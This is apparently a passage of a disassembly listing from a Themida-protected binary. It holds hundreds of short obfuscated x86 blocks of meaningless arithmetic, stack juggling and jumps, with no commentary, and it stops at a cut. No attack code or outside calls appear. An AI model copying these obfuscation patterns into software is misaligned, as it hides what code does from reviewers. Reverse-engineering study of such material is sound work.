		sub	esp, 4
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	edi
		jmp	loc_5AB68B
; ---------------------------------------------------------------------------


loc_5ADBE2:				; CODE XREF: Themida_:005A07DAj
		mov	edx, 82077F4h
		sub	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 6FCF3B23h
		shr	ebp, 5
		xor	ebp, 5F793EEEh
		shr	ebp, 5
		jmp	loc_5A3A53
; ---------------------------------------------------------------------------


loc_5ADC01:				; CODE XREF: Themida_:0059C738j
		or	ebp, 7A4E51E1h
		add	ebp, 44A94F7Bh
		sub	ebp, 0C4A7C574h
		add	eax, ebp
		pop	ebp
		push	2D3h
		mov	[esp], ebp
		jmp	loc_5AF3C5
; ---------------------------------------------------------------------------


loc_5ADC23:				; CODE XREF: Themida_:00599090j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59D317
; ---------------------------------------------------------------------------


loc_5ADC2E:				; CODE XREF: Themida_:0059AC3Ej
		mov	esp, [esp]
		jmp	loc_59F056
; ---------------------------------------------------------------------------


loc_5ADC36:				; CODE XREF: Themida_:0059DF08j
		sub	ebp, 5A4E0594h
		sub	ebp, 2B547CFEh
		sub	ebx, ebp
		pop	ebp
		add	ebx, 30501B2Bh
		jmp	loc_59F03C
; ---------------------------------------------------------------------------


loc_5ADC50:				; DATA XREF: Themida_:0059885Co
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A9A7B
; ---------------------------------------------------------------------------


loc_5ADC6D:				; CODE XREF: Themida_:005A86BBj
		xor	esi, 17E22563h
		or	esi, 2C765A20h
		jmp	loc_5AFB29
; ---------------------------------------------------------------------------


loc_5ADC7E:				; DATA XREF: Themida_:005987C0o
		lodsw
		xor	ax, bx
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_5999A3
; ---------------------------------------------------------------------------


loc_5ADC8C:				; CODE XREF: Themida_:005AAD31j
		sub	ebp, 0C0F6985h
		jg	loc_5A0F60
		or	ebp, 28287460h
		mov	ebx, ecx
		mov	ch, cl


loc_5ADCA2:				; CODE XREF: Themida_:005A8A5Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A17CC
; ---------------------------------------------------------------------------


loc_5ADCAF:				; CODE XREF: Themida_:005A9F05j
		pop	eax
		add	ebx, 125855E0h
		jmp	loc_5AB6C9
; ---------------------------------------------------------------------------


loc_5ADCBB:				; CODE XREF: Themida_:0059E876j
					; Themida_:005A3C4Cj
		push	41DDh
		mov	[esp], esi
		jmp	loc_5AABCE
; ---------------------------------------------------------------------------


loc_5ADCC8:				; CODE XREF: Themida_:0059A61Fj
		pop	esp
		jmp	loc_5A7D24
; ---------------------------------------------------------------------------


loc_5ADCCE:				; CODE XREF: Themida_:0059BDEEj
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5AA49C
; ---------------------------------------------------------------------------


loc_5ADCDA:				; CODE XREF: Themida_:0059C384j
					; Themida_:005A52E6j
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5AAD94
; ---------------------------------------------------------------------------


loc_5ADCE7:				; CODE XREF: Themida_:0059D7A3j
					; Themida_:005AAFA0j
		pop	ebx
		shr	ebx, 2
		jmp	loc_5A6768
; ---------------------------------------------------------------------------


loc_5ADCF0:				; CODE XREF: Themida_:0059AEEDj
		sub	esi, ebx
		pop	ebx
		push	2B73h
		mov	[esp], esi
		jmp	loc_5A2B03
; ---------------------------------------------------------------------------


loc_5ADD00:				; CODE XREF: Themida_:005AB42Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A20CD
; ---------------------------------------------------------------------------


loc_5ADD0C:				; CODE XREF: Themida_:005A004Fj
		mov	ebp, 698F6BDFh
		and	edx, ebp
		pop	ebp
		or	edx, 26D60E0Dh
		ja	loc_5A4CB7
		add	edx, 623633E9h
		jmp	loc_5A3E91
; ---------------------------------------------------------------------------


loc_5ADD2B:				; CODE XREF: Themida_:005AF39Bj
		sub	dl, 0ECh
		jmp	loc_59AFCD
; ---------------------------------------------------------------------------


loc_5ADD33:				; CODE XREF: Themida_:0059D92Bj
					; Themida_:005ABAE1j
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		jmp	loc_5A075B
; ---------------------------------------------------------------------------


loc_5ADD40:				; CODE XREF: Themida_:0059F25Fj
		push	eax
		push	71B02E18h
		pop	eax
		sub	eax, 0FB19C8C7h
		mov	esi, eax
		pop	eax
		jmp	loc_5A1614
; ---------------------------------------------------------------------------


loc_5ADD54:				; CODE XREF: Themida_:loc_59EF64j
					; Themida_:005AB178j
		add	[esp+4], esi
		push	ebp
		mov	ebp, 16266AEDh
		sub	[esp+8], ebp
		jmp	loc_5A21C4
; ---------------------------------------------------------------------------


loc_5ADD67:				; CODE XREF: Themida_:0059ECE8j
		sub	edx, 32B22347h
		pop	esi
		jmp	loc_5A90BE
; ---------------------------------------------------------------------------


loc_5ADD73:				; CODE XREF: Themida_:0059A062j
		imul	cx, ax
		jmp	loc_5A8FF5
; ---------------------------------------------------------------------------


loc_5ADD7C:				; CODE XREF: Themida_:005A37F7j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A7068
; ---------------------------------------------------------------------------


loc_5ADD8D:				; DATA XREF: Themida_:00598874o
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A0D8D
; ---------------------------------------------------------------------------


loc_5ADD9E:				; CODE XREF: Themida_:005A753Fj
		add	esi, 9A3AFA5Fh
		sub	edx, esi
		jmp	loc_5A5CC8
; ---------------------------------------------------------------------------


loc_5ADDAB:				; CODE XREF: Themida_:005A17C7j
		push	esp
		jmp	loc_599B65
; ---------------------------------------------------------------------------


loc_5ADDB1:				; CODE XREF: Themida_:005A9C18j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59DA7E
; ---------------------------------------------------------------------------


loc_5ADDC6:				; CODE XREF: Themida_:005A32A6j
		mov	cl, 0E7h
		jmp	loc_5A19C6
; ---------------------------------------------------------------------------


loc_5ADDCD:				; CODE XREF: Themida_:loc_5A9273j
		neg	dh
		add	dh, 6
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A3631
; ---------------------------------------------------------------------------


loc_5ADDDD:				; CODE XREF: Themida_:005A9B60j
		sub	ebp, edx
		pop	edx
		add	ebp, 0FFFFFFFFh
		shl	ebp, 6
		jmp	loc_5A8C40
; ---------------------------------------------------------------------------


loc_5ADDEB:				; CODE XREF: Themida_:0059F8F5j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ADDF0:				; CODE XREF: Themida_:005AB1AEj
		add	bl, 0DEh
		add	bl, cl
		jmp	loc_5AF267
; ---------------------------------------------------------------------------


loc_5ADDFA:				; CODE XREF: Themida_:005A6936j
		add	ecx, 4
		jmp	loc_5AA9C7
; ---------------------------------------------------------------------------


loc_5ADE02:				; CODE XREF: Themida_:0059F844j
		add	ebp, 56481BCFh
		sub	ebp, 0B0C20433h
		add	eax, ebp
		pop	ebp
		pop	ecx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5A4CB1
; ---------------------------------------------------------------------------


loc_5ADE21:				; CODE XREF: Themida_:0059F2AFj
		xchg	ecx, [esp]
		jmp	loc_5A7139
; ---------------------------------------------------------------------------


loc_5ADE29:				; CODE XREF: Themida_:0059FB40j
		sub	edx, 5FD3210Fh
		jmp	loc_5A32ED
; ---------------------------------------------------------------------------


loc_5ADE34:				; CODE XREF: Themida_:005A8EB8j
		add	esp, 4
		jmp	loc_5ABE42
; ---------------------------------------------------------------------------


loc_5ADE3C:				; CODE XREF: Themida_:0059AC69j
					; Themida_:0059E65Ej ...
		mov	edi, [esp]
		push	6B56h
		mov	[esp], esi
		jmp	loc_5A9248
; ---------------------------------------------------------------------------


loc_5ADE4C:				; CODE XREF: Themida_:0059D7DFj
		push	edi
		mov	edi, 308458C9h
		push	ebp
		mov	ebp, 385835A2h
		add	edi, ebp
		pop	ebp
		xor	edi, 3351EBB1h
		add	edx, edi
		pop	edi
		add	edx, eax
		push	ecx
		mov	ecx, 4A6053F1h
		sub	ecx, 440B184Bh
		and	ecx, 5F4E5ED3h
		and	ecx, 43F0216h
		sub	ecx, 0A8769C28h
		jmp	loc_5A8E82
; ---------------------------------------------------------------------------


loc_5ADE89:				; CODE XREF: Themida_:0059B395j
		pop	esi
		add	ebx, 1B3447ACh
		sub	ebx, 3CB808B4h
		jmp	loc_5AF569
; ---------------------------------------------------------------------------


loc_5ADE9B:				; CODE XREF: Themida_:0059D0F9j
		push	45C8h
		mov	[esp], eax
		pop	edx
		jmp	loc_5AE98B
; ---------------------------------------------------------------------------


loc_5ADEA9:				; CODE XREF: Themida_:005A2C57j
					; Themida_:005A7ED3j
		add	edx, 5DF015A9h
		add	edx, ecx
		sub	edx, 5DF015A9h
		mov	ecx, [esp]
		jmp	loc_5A0DD9
; ---------------------------------------------------------------------------


loc_5ADEBF:				; CODE XREF: Themida_:0059B92Cj
		xor	bl, dl
		jmp	loc_5A149C
; ---------------------------------------------------------------------------


loc_5ADEC6:				; CODE XREF: Themida_:0059BAA6j
		xchg	eax, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ADED5:				; CODE XREF: Themida_:loc_5AC92Cj
		jmp	loc_5AEA11
; ---------------------------------------------------------------------------


loc_5ADEDA:				; CODE XREF: Themida_:005A2F37j
		add	esp, 4
		mov	edx, [esp]
		push	esi
		jmp	loc_5AB2A9
; ---------------------------------------------------------------------------


loc_5ADEE9:				; CODE XREF: Themida_:005A3642j
		pop	ebx
		jmp	loc_5A8471
; ---------------------------------------------------------------------------


loc_5ADEEF:				; CODE XREF: Themida_:0059EA5Ej
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59C474
; ---------------------------------------------------------------------------


loc_5ADEF8:				; CODE XREF: Themida_:005AB424j
		add	bl, 95h
		jmp	loc_59A20C
; ---------------------------------------------------------------------------


loc_5ADF00:				; CODE XREF: Themida_:00598C50j
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 49h
		push	eax
		mov	al, 0D4h
		or	al, 0D5h
		shr	al, 1
		inc	al
		jnp	loc_59D57B
		shl	al, 7
		jmp	loc_5AEF94
; ---------------------------------------------------------------------------
		add	ebp, 1FBD63B8h


loc_5ADF29:				; CODE XREF: Themida_:0059CB57j
		add	cl, dl
		pop	dx
		add	al, 56h
		add	al, cl
		push	edx
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 56h
		mov	dl, ch
		pop	cx
		sub	al, dl
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	cx
		push	54AFh
		mov	[esp], ebx
		mov	bl, 77h
		push	edx
		jmp	loc_5A411F
; ---------------------------------------------------------------------------


loc_5ADF5E:				; CODE XREF: Themida_:005AC900j
		push	edi
		push	1ACBh
		jmp	loc_5A2B2F
; ---------------------------------------------------------------------------


loc_5ADF69:				; CODE XREF: Themida_:005A4848j
		xor	ebp, 9217555h
		shl	ebp, 3
		not	ebp
		push	434Ch
		mov	[esp], edi
		jmp	loc_59F990
; ---------------------------------------------------------------------------


loc_5ADF81:				; CODE XREF: Themida_:005AA02Dj
		push	esi
		push	edi
		xor	dword ptr [esp], 2FCE16A2h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 2FCE16A2h
		mov	ecx, esi
		push	dword ptr [esp]
		jmp	loc_599C38
; ---------------------------------------------------------------------------


loc_5ADFA3:				; CODE XREF: Themida_:005A820Ej
		add	ecx, 70271F09h
		pop	esi
		jmp	loc_5A8090
; ---------------------------------------------------------------------------


loc_5ADFAF:				; CODE XREF: Themida_:0059D66Ej
		push	eax
		push	5D551535h
		pop	eax
		push	ecx
		mov	ecx, 39B25890h
		sub	ecx, 0FFFFFFFFh
		dec	ecx
		shl	ecx, 7
		inc	ecx
		shl	ecx, 8
		jmp	loc_59E8B1
; ---------------------------------------------------------------------------


loc_5ADFCC:				; CODE XREF: Themida_:005A52BFj
		dec	edx
		add	edx, 0AB98FD29h
		sub	esi, edx
		pop	edx
		jmp	loc_59FA37
; ---------------------------------------------------------------------------


loc_5ADFDB:				; CODE XREF: Themida_:0059AD31j
		pop	dword ptr [esp]
		jmp	loc_5AE120
; ---------------------------------------------------------------------------


loc_5ADFE3:				; CODE XREF: Themida_:005A90ADj
		push	edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		mov	esi, ebp
		pop	ebp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_5AD1AC
; ---------------------------------------------------------------------------


loc_5AE006:				; CODE XREF: Themida_:005A104Fj
		sub	bl, dl
		push	small 13D0h
		jmp	loc_59E91F
; ---------------------------------------------------------------------------


loc_5AE011:				; CODE XREF: Themida_:00599977j
		push	ecx
		push	63BC0AFCh
		pop	ecx
		and	ecx, 279165B0h
		ja	loc_5AAE39
		sub	ecx, 6572E18h
		and	al, 5Ch
		add	al, 0A4h


loc_5AE02E:				; CODE XREF: Themida_:0059B072j
		or	dl, 5
		dec	dl
		sub	dl, 66h
		shr	dl, 3
		jmp	loc_5A44AD
; ---------------------------------------------------------------------------


loc_5AE03E:				; CODE XREF: Themida_:005AB810j
		neg	edx
		jmp	loc_5A600A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59DE83
; ---------------------------------------------------------------------------


loc_5AE050:				; CODE XREF: Themida_:005998A2j
					; Themida_:005A425Bj
		add	edi, esi
		pop	esi
		jmp	loc_5A36E1
; ---------------------------------------------------------------------------


loc_5AE058:				; CODE XREF: Themida_:005A7615j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AE05D:				; CODE XREF: Themida_:0059F1A7j
		neg	al
		shr	al, 2
		add	al, 0C4h
		sub	bl, 4Ch
		add	bl, al
		jmp	loc_5A0904
; ---------------------------------------------------------------------------


loc_5AE06E:				; CODE XREF: Themida_:0059C488j
		push	ecx
		mov	ecx, 507E10D9h
		jmp	loc_5A74C9
; ---------------------------------------------------------------------------


loc_5AE079:				; CODE XREF: Themida_:005AF1EAj
		mov	ebx, esp
		jmp	loc_5AB036
; ---------------------------------------------------------------------------


loc_5AE080:				; CODE XREF: Themida_:005ABA49j
		pop	esp
		mov	[esp], esi
		jmp	loc_5AD5DB
; ---------------------------------------------------------------------------


loc_5AE089:				; CODE XREF: Themida_:005AE34Ej
		mov	ebp, 39C513D1h
		add	eax, ebp
		pop	ebp
		add	eax, edx
		jmp	loc_59994C
; ---------------------------------------------------------------------------


loc_5AE098:				; CODE XREF: Themida_:0059D07Bj
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 64AD591Ah
		jmp	loc_5A7D69
; ---------------------------------------------------------------------------


loc_5AE0A8:				; CODE XREF: Themida_:005AD147j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_59E595
; ---------------------------------------------------------------------------


loc_5AE0B6:				; CODE XREF: Themida_:0059AB31j
		sub	al, 3Bh
		pop	cx
		sub	al, bh
		push	edx
		mov	dl, 3Ch
		or	dl, 6Eh
		add	dl, 93h
		jmp	loc_5A5AD9
; ---------------------------------------------------------------------------


loc_5AE0CA:				; CODE XREF: Themida_:loc_5AD982j
		or	edx, 70C40D50h
		jnz	loc_5A7458
		add	edx, 0C92032E3h
		mov	dh, bh
		mov	dl, 0A1h


loc_5AE0E0:				; CODE XREF: Themida_:005A9A7Cj
		push	eax
		push	esp
		jmp	loc_5A6D7C
; ---------------------------------------------------------------------------


loc_5AE0E7:				; CODE XREF: Themida_:005A0FA6j
		pop	edi
		add	[esp+4], ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5A180A
; ---------------------------------------------------------------------------


loc_5AE0F9:				; CODE XREF: Themida_:005ACE68j
		or	eax, 11AB5481h
		neg	eax
		shr	eax, 7
		xor	eax, 1002150h
		add	edi, 57731FFAh
		add	edi, eax
		jmp	loc_5A4D49
; ---------------------------------------------------------------------------


loc_5AE115:				; CODE XREF: Themida_:005AC256j
		add	ebp, 600660AAh
		jmp	loc_5A87CE
; ---------------------------------------------------------------------------


loc_5AE120:				; CODE XREF: Themida_:005ADFDEj
		pop	esp
		add	esp, 4
		xor	edx, 0F03202Bh
		jmp	loc_5A0844
; ---------------------------------------------------------------------------


loc_5AE132:				; CODE XREF: Themida_:005A7575j
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59BB9E
; ---------------------------------------------------------------------------


loc_5AE13F:				; CODE XREF: Themida_:005AB053j
		mov	dh, 0
		jmp	loc_5AF60A
; ---------------------------------------------------------------------------


loc_5AE146:				; CODE XREF: Themida_:0059AD15j
		and	esi, 202F34D4h
		jge	loc_5A9D0A
		sub	esi, 6B604F99h
		jnp	loc_5ABF30
		pop	ebp


loc_5AE15F:				; CODE XREF: Themida_:005A7E5Dj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	465h
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	799216CCh
		jmp	loc_598D01
; ---------------------------------------------------------------------------


loc_5AE19A:				; CODE XREF: Themida_:005A0908j
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_5ABD28
; ---------------------------------------------------------------------------


loc_5AE1AB:				; CODE XREF: Themida_:005A3421j
		mov	edi, [esp]
		jmp	loc_5AC229
; ---------------------------------------------------------------------------


loc_5AE1B3:				; CODE XREF: Themida_:005A88FEj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AE1B8:				; CODE XREF: Themida_:005AF3F6j
		mov	edx, [esp]
		add	esp, 4
		xor	edi, 7D572E95h
		sub	edi, 1
		add	edi, 7A0D79D0h
		dec	edi
		jmp	loc_59FB9C
; ---------------------------------------------------------------------------


loc_5AE1D6:				; CODE XREF: Themida_:0059CDCDj
		push	ebp
		mov	ebp, 53223355h
		sub	ebp, 4CB448B0h
		push	edx
		mov	edx, 562E4726h
		jmp	loc_59B116
; ---------------------------------------------------------------------------


loc_5AE1ED:				; CODE XREF: Themida_:005A5C52j
		sub	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A1589
; ---------------------------------------------------------------------------


loc_5AE1FB:				; CODE XREF: Themida_:005AA48Bj
		mov	edi, esp
		jmp	loc_59AFFD
; ---------------------------------------------------------------------------


loc_5AE202:				; DATA XREF: Themida_:005987ACo
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A6441
; ---------------------------------------------------------------------------


loc_5AE214:				; CODE XREF: Themida_:005A38CDj
		add	esi, 4
		push	ecx
		jmp	loc_5A6E75
; ---------------------------------------------------------------------------


loc_5AE220:				; CODE XREF: Themida_:005A467Bj
		mov	esp, [esp]
		mov	ax, [esp]
		push	5BE3h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		push	edx
		mov	edx, 4E7D040Dh
		mov	eax, edx
		pop	edx
		jmp	loc_5A21A0
; ---------------------------------------------------------------------------


loc_5AE240:				; CODE XREF: Themida_:005AB627j
		mov	ebx, 4A20079Eh
		neg	ebx
		dec	ebx
		add	ebx, 353353A6h
		shr	ebx, 8
		jmp	loc_5A0D1A
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_599F83
; ---------------------------------------------------------------------------


loc_5AE25E:				; CODE XREF: Themida_:005A2478j
		mov	ecx, [esp]
		jmp	loc_59BD7E
; ---------------------------------------------------------------------------


loc_5AE266:				; CODE XREF: Themida_:005AEDF7j
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5A3A11
; ---------------------------------------------------------------------------


loc_5AE273:				; CODE XREF: Themida_:0059E4F1j
					; Themida_:0059F1D2j ...
		sub	esp, 4
		mov	[esp], esi
		push	5DCh
		mov	[esp], ebx
		jmp	loc_5A0389
; ---------------------------------------------------------------------------


loc_5AE286:				; CODE XREF: Themida_:005A801Aj
		sub	esp, 4
		mov	[esp], esi
		push	edi
		jmp	loc_598DB5
; ---------------------------------------------------------------------------


loc_5AE292:				; CODE XREF: Themida_:0059ED60j
		dec	edx
		jo	loc_59F44C
		jmp	loc_5A342F
; ---------------------------------------------------------------------------


loc_5AE29E:				; CODE XREF: Themida_:0059BFB0j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_59F74A
; ---------------------------------------------------------------------------


loc_5AE2B6:				; CODE XREF: Themida_:005A5F9Bj
		sub	edx, edi
		add	edx, 1BA96206h
		jmp	loc_5A402F
; ---------------------------------------------------------------------------


loc_5AE2C3:				; CODE XREF: Themida_:loc_5A2018j
					; Themida_:005A958Aj
		mov	[esp], ecx
		mov	ecx, 6642669Ch
		add	ebp, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5AB805
; ---------------------------------------------------------------------------


loc_5AE2D7:				; CODE XREF: Themida_:005A18C4j
		pop	ebp
		jmp	loc_5A1C21
; ---------------------------------------------------------------------------


loc_5AE2DD:				; CODE XREF: Themida_:005A6311j
		mov	[esp], ebx
		jmp	loc_59F030
; ---------------------------------------------------------------------------


loc_5AE2E5:				; CODE XREF: Themida_:0059A898j
		mov	esi, 359E7F23h
		sub	esi, 1C3B1223h
		add	esi, 85061Dh
		sub	eax, esi
		pop	esi
		add	eax, esi
		add	eax, 19E8731Dh
		sub	eax, 6C5B08D6h
		pop	esi
		jmp	loc_5A3CF6
; ---------------------------------------------------------------------------


loc_5AE30B:				; CODE XREF: Themida_:005A0A5Ej
		jmp	loc_59CA30
; ---------------------------------------------------------------------------


loc_5AE310:				; CODE XREF: Themida_:005A992Bj
		pop	ebx
		pop	eax
		pop	ecx
		mov	dword ptr [edx+38h], 3B981447h
		push	eax
		jmp	loc_5A2F23
; ---------------------------------------------------------------------------


loc_5AE320:				; CODE XREF: Themida_:005A5B0Bj
		neg	edi
		jz	loc_5AC80E
		or	edi, 4CF072AFh
		jmp	loc_5A7864
; ---------------------------------------------------------------------------


loc_5AE333:				; CODE XREF: Themida_:005A683Ej
		pop	esp
		push	ebx
		mov	ebx, 3E2A0166h
		push	65F8h
		mov	[esp], edx
		mov	edx, 15977433h
		xor	edx, 25785A97h
		push	ebp
		jmp	loc_5AE089
; ---------------------------------------------------------------------------


loc_5AE353:				; CODE XREF: Themida_:005AD2AAj
		mov	cl, 83h
		add	cl, 5Eh
		jmp	loc_5A25EB
; ---------------------------------------------------------------------------


loc_5AE35D:				; CODE XREF: Themida_:0059CC95j
		push	eax
		mov	eax, 51062A8Ch
		neg	eax
		add	eax, 525E71D5h
		add	eax, 0F994BA71h
		add	ebx, eax
		pop	eax
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5AA490
; ---------------------------------------------------------------------------


loc_5AE380:				; CODE XREF: Themida_:005A09D0j
		pop	ecx
		xor	eax, edx
		jmp	loc_5AF05B
; ---------------------------------------------------------------------------


loc_5AE388:				; DATA XREF: Themida_:005986E8o
		mov	cx, [esp]
		push	6E4Eh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5ABB02
; ---------------------------------------------------------------------------


loc_5AE3AA:				; CODE XREF: Themida_:005A60BEj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	3EC0h
		jmp	loc_59F2B4
; ---------------------------------------------------------------------------


loc_5AE3C0:				; CODE XREF: Themida_:loc_59ED73j
		shr	edi, 7
		jp	loc_5AA34C
		sub	edi, 88F251h
		jmp	loc_5A0A4E
; ---------------------------------------------------------------------------


loc_5AE3D4:				; CODE XREF: Themida_:005AB614j
		not	eax
		xchg	eax, ebx
		push	esi
		jmp	loc_5AF175
; ---------------------------------------------------------------------------


loc_5AE3DD:				; CODE XREF: Themida_:0059C34Cj
		xchg	edx, [esp]
		pop	esp
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_59DF68
; ---------------------------------------------------------------------------


loc_5AE3EB:				; CODE XREF: Themida_:005A1E88j
		pop	eax
		jmp	loc_5A5B3A
; ---------------------------------------------------------------------------


loc_5AE3F1:				; CODE XREF: Themida_:005A050Cj
		sub	esi, edx
		pop	edx
		add	esi, ebp
		add	esi, 0B536671h
		sub	esi, 45261EC8h
		sub	esi, 35C14C00h
		pop	ebp
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 6
		push	ebp
		push	6225h
		jmp	loc_5A4AD1
; ---------------------------------------------------------------------------


loc_5AE422:				; CODE XREF: Themida_:005AA7A9j
		sub	ebp, 78EE43F9h
		jmp	loc_5A2649
; ---------------------------------------------------------------------------


loc_5AE42D:				; CODE XREF: Themida_:005A22B0j
		sub	dword ptr [esp], 4C1D1448h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4C1D1448h
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_599863
; ---------------------------------------------------------------------------


loc_5AE44F:				; CODE XREF: Themida_:005AADC8j
		mov	ebx, 4E1B3B94h
		mov	eax, ebx
		pop	ebx
		shr	eax, 2
		and	eax, 37305A5Eh
		jmp	loc_5AF50C
; ---------------------------------------------------------------------------


loc_5AE464:				; CODE XREF: Themida_:0059BF34j
		push	edx
		sub	dword ptr [esp], 172F75F1h
		pop	ecx
		add	ecx, 172F75F1h
		pop	edx
		and	ecx, 74D56A9h
		or	ecx, 441371FBh
		push	4D09h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59F6D8
; ---------------------------------------------------------------------------


loc_5AE497:				; CODE XREF: Themida_:0059A55Dj
		sub	edi, 280B4690h
		jns	loc_5994BB
		xor	edi, 5616CA1Bh
		or	esi, edi
		pop	edi
		mov	edi, edi


loc_5AE4AE:				; CODE XREF: Themida_:0059EA70j
		mov	ebx, 18D44E3Dh
		shl	ebx, 3
		and	ebx, 20D31A4Dh
		push	eax
		mov	eax, 49472A9Dh
		jmp	loc_59AA5E
; ---------------------------------------------------------------------------


loc_5AE4C7:				; CODE XREF: Themida_:005AD307j
		pop	esi
		sub	eax, 6CF66B8Eh
		add	eax, edx
		jmp	loc_59BAA0
; ---------------------------------------------------------------------------


loc_5AE4D4:				; CODE XREF: Themida_:005A6956j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59EC86
; ---------------------------------------------------------------------------


loc_5AE4FC:				; CODE XREF: Themida_:005A0E3Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A4DE1
; ---------------------------------------------------------------------------


loc_5AE507:				; CODE XREF: Themida_:00599A0Dj
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		sub	eax, 39431564h
		add	eax, ebp
		push	ecx
		jmp	loc_5A1E0E
; ---------------------------------------------------------------------------


loc_5AE51D:				; CODE XREF: Themida_:005A3734j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 40CB29E6h
		not	edx
		jmp	loc_599D79
; ---------------------------------------------------------------------------


loc_5AE535:				; CODE XREF: Themida_:005A6C21j
		push	45F6h
		mov	[esp], edx
		push	ebp
		push	263C705Dh
		pop	ebp
		xor	ebp, 791469A7h
		dec	ebp
		jno	loc_5A8DD8
		jmp	loc_5A60DD
; ---------------------------------------------------------------------------
		pop	esi
		xor	edi, ecx
		jmp	loc_5AD369
; ---------------------------------------------------------------------------
		mov	ebx, eax


loc_5AE560:				; CODE XREF: Themida_:005AE594j
		mov	ebp, 14807AAh
		neg	ebp
		jp	loc_598C6E
		inc	ebp
		neg	ebp
		xor	ebp, 2D0917B7h
		push	esp


loc_5AE577:				; CODE XREF: Themida_:005A951Cj
		add	esp, 4
		jmp	loc_5AC353
; ---------------------------------------------------------------------------


loc_5AE582:				; CODE XREF: Themida_:005A2568j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4B06451Ah
		push	ebp
		jmp	loc_5AE560
; ---------------------------------------------------------------------------


loc_5AE599:				; CODE XREF: Themida_:005AA075j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	esi
		push	39D1753Ah
		jmp	loc_5A74EA
; ---------------------------------------------------------------------------


loc_5AE5AE:				; CODE XREF: Themida_:005AF8B9j
		sub	eax, 23D310EAh
		sub	eax, edx
		add	eax, 23D310EAh
		sub	eax, 53B043BAh
		mov	edx, [esp]
		add	esp, 4
		add	ebp, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_59D763
; ---------------------------------------------------------------------------


loc_5AE5D3:				; CODE XREF: Themida_:005A5231j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5A4D7D
; ---------------------------------------------------------------------------


loc_5AE5E5:				; CODE XREF: Themida_:005A0239j
